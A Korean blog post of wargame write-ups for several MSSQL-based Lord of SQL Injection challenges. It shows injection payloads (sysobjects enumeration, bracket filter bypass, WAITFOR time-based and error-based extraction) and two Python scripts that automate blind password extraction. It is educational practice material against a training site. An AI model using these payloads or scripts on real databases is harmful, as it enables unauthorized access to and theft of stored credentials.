Lord of SQL Injection 포스팅을 이번 주까지 마무리하려 그랬는데, 남은 3개의 문제가 비 관계형 데이터베이스 문제이다. 필자가 이걸 할 줄 몰라서 배우고 오려면 시간이 조금 걸릴 거 같다. CEH시험 바우처가 얼마 안 남아서 5월에 시험을 계획하고 있는데, 이후에 남은 문제들을 정리하려고 한다.

으으 문어다. 필자는 연체동물을 먹지 못한다. 몸이 거부반응을 일으킨다. 토한 게 한두 번이 아니다. 빨리 코드를 보고 무찌르자

< 출처 : 나무위키 https://namu.wiki/w/%EC%9D%B4%EB%B3%BC%EB%B8%8C/%EB%AA%AC%EC%8A%A4%ED%84%B0/%ED%81%AC%EB%9D%BC%EC%BC%84 >


코드

코드에 따르면 mssql기반의 문제이다. GET파라미터로 전달될 id와 pw에 대해서 master와 information을 필터링하고 있다. 그 후 table인 member에서 id를 query 해서 결과를 echo 하고, pw로 전달된 값이 $krakenFlag로 나오면 된다.

* 주석으로 flag는 member테이블이 아닌 'flag_{$hash}'의 테이블에 있다고한다. 메타 테이블에 접근을 해야 되겠다.


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=FLAG

if($result ['id'])라는 조건이기에, id가 있기만 하면 되는 거여서 union을 통한 조작이 가능하다.

 

또한 저번 문제를 기억하는 사람들은 이번 메타 테이블 접근에 sys가 필터링이 안되어있는 것을 눈치챘을 것이다.

mssql에는 "sysobjects"라는 메타 테이블이 존재한다. "sysobjects"에는 DB에서 생성된 개체들의 모든 정보가 들어있다. 그중 xtype과 type에는 각 개체의 유형을 저장하고 있는데, 그중 우리는 "U"타입(사용자 테이블)을 가져올 것이다.

try : ?id=1' union select name from sysobjects where type='U'--%20

으흠; 역시 호락호락하지 않다. a_dummy_table이라는 테이블이 행으로 있는 거 같다. 간단한 막일로 처리하자

try2 : ?id=1' union select name from sysobjects where type='U' and name like 'flag%'--%20

그렇다. 물론 이와 같은 방법 말고 깔끔한 방법도 많을 것이다. flag_table은 알았으니 테이블에서 정보를 빼보자.

try3 : ?id=1' union select * from flag_ccdfe62d--%20

이렇게 flag를 알 수 있었다.


mssql의 메타 테이블인 sysobjects에 대해서 알 수 있는 문제였다. 이제 다음 관문으로 넘어가자

이번에는 미라다. 수많은 용들과 전설 속의 네스호의 괴물까지 무찌르고 만난 것이 고작 미라라는 게 조금 김 빠지는 이야기이다. 코드를 만나보자

<  출처 : 위키백과 https://en.wikipedia.org/wiki/Mummy >


코드

mssql 기반의 문제이다. query로 받아오는 파라미터에 대해서 master, sys, information등 메타 테이블의 접근을 필터링하고 있다. 그 후 가져온 query를 길이에 맞게 반복 순회를 하면서 query에서 ord값이 32 이하인 문자가 발견되면 exit을 사용한다. 그 후 파라미터로 날아온 query에 대해서 직접 $result를 받아와서 결과적으로는 정확한 pw를 요구하고 있다.


해결방법 

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=0c3cc245

해결해야할 문제는 자명하다. 

공백으로 인식할 수 있는 문자를 써야 한다.

다행히도, mssql은 문법적인 최소 단위를 구분할 여러 가지 다른 방법을 가지고 있다. 일전의 문제에서 보았던 /**/나 ()도 가능하지만 이는 이번 문제에서 필터링되어있다. 따라서 이번에 필터링을 뚫고 우리가 사용할 문자열은 대괄호[]이다.

try : ?query=[pw]from[prob_mummy]

굿, 대괄호를 사용하는 방법은 알았으니 남은 것은 Blind sql injection이다.

import string
from requests import get

if __name__=="__main__" :

    url = "### MUMMY URL ###"
    cookie = dict(PHPSESSID ="### 자신의 PHPSESSID ###")
    letters = string.digits + string.ascii_letters
    password = ''

    print("### START BLIND SQL INJECTION ###")
    
    while(True) :
        
        find_flag = False
        
        for a in letters : 
            param = "?query=[pw]from[prob_mummy]where[id]='admin'and[pw]<'"+password+a+"'"
            new_url = url+param
            req = get(new_url,cookies=cookie)
            index = letters.index(a)

            if (req.text.find("Hello anonymous")<200 and req.text.find("Hello anonymous")!=-1) :
                find_flag = True
                break
            
        if(find_flag) :
            password += letters[index-1]
        else : 
            break


    print("="*25)
    print("find password : "+password)

출력 결과는 다음과 같다.

 ### START BLIND SQL INJECTION ###

=========================
find password : 0c3cc245

이지하다


이제 몬스터는 4마리밖에 남지 않았다. 힘내서 빠르게 마무리 지아보자

이번 문제는 예티이다. Yeti라고 했을 때 아래 예티가 가장 먼저 떠올랐다면 우리는 훌륭한 공익이다.

< 출처 : 메이플스토리 팬덤 위키 https://maplestory.fandom.com/ko/wiki/%EC%98%88%ED%8B%B0_(%EC%A7%81%EC%97%85)>


코드

저번 레버넌트와 같은 mssql문제이다. id와 pw에 대해 master, sys, information 등 메타 테이블 접근을 차단한 것이 눈에 띈다. admin의 정확한 pw를 알아야 하는 걸 봐서 blind sql injection을 시행하거나, 새로운 방법을 시도해야 될 거 같다.


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=6425b725

전형적인 Time based sql injection으로 해결이 가능하다. 참고로 이야기를 하자면, mssql은 sleep함수가 없다. waitfor라는 키워드가 sleep처럼 사용되며, 아래와 같은 사용법을 가진다.

아래 MSDN의 사용법에 더욱 자세하게 나와있으니 참고바란다.

docs.microsoft.com/ko-kr/sql/t-sql/language-elements/waitfor-transact-sql?view=sql-server-ver15

 

WAITFOR (Transact-SQL) - SQL Server

WAITFOR(Transact-SQL)

docs.microsoft.com

즉 wairfor와 조건문을 잘 활용하면 response time을 통하 time based blind sql injection이 가능하다.

try : ?id=1&pw=1%27 if((select len(pw) from prob_yeti where id=%27admin%27)>0) waitfor delay %2700:00:03%27--%20

 

다음은 이를 활용한 Python 코드이다.

import string
import time
from requests import get

if __name__=="__main__" :

    url = "### YETI의 URL ###"
    cookie = dict(PHPSESSID ="### 자신의 PHPSESSID ###")
    length = 1  
    letters = string.digits + string.ascii_letters
    password = ''

    print("### START BLIND SQL INJECTION ###")
    print("\n\n### LENGTH of PASSWORD SEARCH ###")
    while(True) :
        param = "?id=1&pw=1%27 if((select len(pw) from prob_yeti where id=%27admin%27)="+str(length)+") waitfor delay %2700:00:03%27--%20"
        new_url = url+param
        
        start = time.time()
        req = get(new_url,cookies=cookie)
        end = time.time()
        
        if end-start > 2:
            print("Found PW length",length)
            break
            
        length+=1
        


    print("\n\n### PASSWORD SEARCH ###")
    for i in range(1,length+1) :
        index = 0
        for a in letters :
            param = "?id=1&pw=1%27 if((select pw from prob_yeti where id=%27admin%27) < %27"+password+a+"%27) waitfor delay %2700:00:03%27--%20"
            new_url = url+param

            start = time.time()
            req = get(new_url,cookies=cookie)
            end = time.time()

            if end-start > 2:
                index = letters.index(a)
                print("find "+str(i)+"'s letter : "+a)
                break
        
        password += letters[index-1]
        

    print("="*25)
    print("find password : "+password)

출력은 다음과 같다

### START BLIND SQL INJECTION ###


### LENGTH of PASSWORD SEARCH ###
Found PW length 8


### PASSWORD SEARCH ###
find 1's letter : 7
find 2's letter : 5
find 3's letter : 3
find 4's letter : 6
find 5's letter : c
find 6's letter : 8
find 7's letter : 3
find 8's letter : 6
=========================
find password : 6425b725

완벽!


벌써 43번째 몬스터를 물리치고 이제 5마리의 몬스터밖에 남지 않았다. 다음 관문에서 기다리겠다.

레버넌트이다. 영화로도 나왔던 거 같은데; 기억이 잘 안나네... 코드를 확인하자

< 출처 : 몬스터 위키 팬덤 https://monster.fandom.com/wiki/Revenant >


코드

일단 nessie와 비슷한 형태이다. 사실 거의 똑같다. 메타정보와 waitfor 등이 막혀있고, 2가지 쿼리를 쓰지 못하게 세미콜론(;)이 막혀있다. 주석으로는 5번째 칼럼을 pwn 해야 한다고 한다.


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=aa68a4b3fb327dee07f868450f7e1183

일단 어째 $result['4']라는걸보니 칼럼명이 0,1,2,3,4 일거 같은 직감이 든다.(아닌가? 조건절은 또 id니까 아닐 수도 있겠네) 저번처럼 에러 메시지는 웹페이지에 그대로 노출이 된다. 따라서 칼럼명을 확인할 수 있는 에러를 발생시키면 좋을 거 같은데, 가장 무난하고 만만한 방법은 그루핑 함수를 통한 query이다. 다음은 group by에 대한 설명이다.

신기한 점은 그루핑은 행을 특정한 식에 부합하게 압축하는 기능이기에, 그 조건에 부합하지 않는 칼럼이 있으면 동작하지 않는다. 예를 들면 id로는 그루핑이 되어도 다른 칼럼도 그루핑이 지정되지 않으면 오류가 날 수 있다는 점이다.

try : ?id=1' group by id --%20

다음 열인 pw를 찾을 수 있다.

try : ?id=1' group by id,pw --%20

그다음 열은 45a88487이고 그다음 열은 시도 해보면(할 때 45랑 a88487이랑 별도로 해석되니, 큰따옴표로 묶는 게 정신건강에 이롭다) 다음 열은 13477a35이다. 그렇게 해서 5번째 열을 확인하면

try : id=1' group by id,pw,"45a88487","13477a35" --%20

5번째 열은 9604b0c8이다. 이를 Nessie와 같이 문자열 변환 에러를 발생시켜서

try : ?id=1' or "9604b0c8"=1--%20

휴 다들 수고했다.

어? 아; 위에 try에서 id가 admin임을 명시하지 않았기에 3b~는 다른 행의 pw이다. 

try : ?id=admin' and "9604b0c8"=1 --%20

이제 진짜 끝났다. 딱 대


허튼짓이란 허튼짓은 다해 두고 문제를 풀었다. 여러분들은 똑똑하게 문제를 풀었기를 바란다.

4시이다. 글을 쓰고 있는 지금은 오후 11시이다...... 잡소리 그만하고 NESSIE의 코드를 만나보자

< 출처 : 위키백과 https://en.wikipedia.org/wiki/Loch_Ness_Monster >


코드

DB가 바뀌었다. 지난 시간까지는 sqlite였는데, mssql이 되었다. query는 2개가 시행이 되는데, 첫 번째 쿼리만 exploit 대상이 되는 거 같고, 두 번째 query는 정확한 pw를 전달해서 문제를 해결하는 문고리 문제인 거 같다.

master, sys, information, prob, wiatfor 등이 막힌것을 보니, 메타데이터의 접근과 time based sql injection을 방지하려고 한 거 같다.

 


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=uawe0f9ji34fjkl

코드를 잘 보면 exit(mssql_error(sqlsrv_errors()))이 있다. 즉 에러가 그대로 표출된다. 다음의 코드를 한번 쳐보자

try : ?pw=%27order%20by

오호....

try : ?pw=%27=

대박... 이거 아예 에러를 강제 유발할 수도 있겠다. 프로그래밍에도 자료형이 있듯이, 데이터베이스에도 자료형이 있다. 그중 문자열을 저장하는 VARCHAR나 VARCHAR2들이 문자열을 저장하게 되는데, 강제로 다른 형태의 자료를 넣으면 에러가 발생한다. 

 

따라서 문자열인 pw에 1을 입력하면 변환 오류가 나오며 유의미한 오류가 나올 수도 있다.

try : ?id=admin&pw=1%27%20or%20id=%27admin%27%20and%20pw=1--%20

어?


어허.... 쉽게 해결할 수 있었다. 다음 문제에서 기다리겠다.

+ Recent posts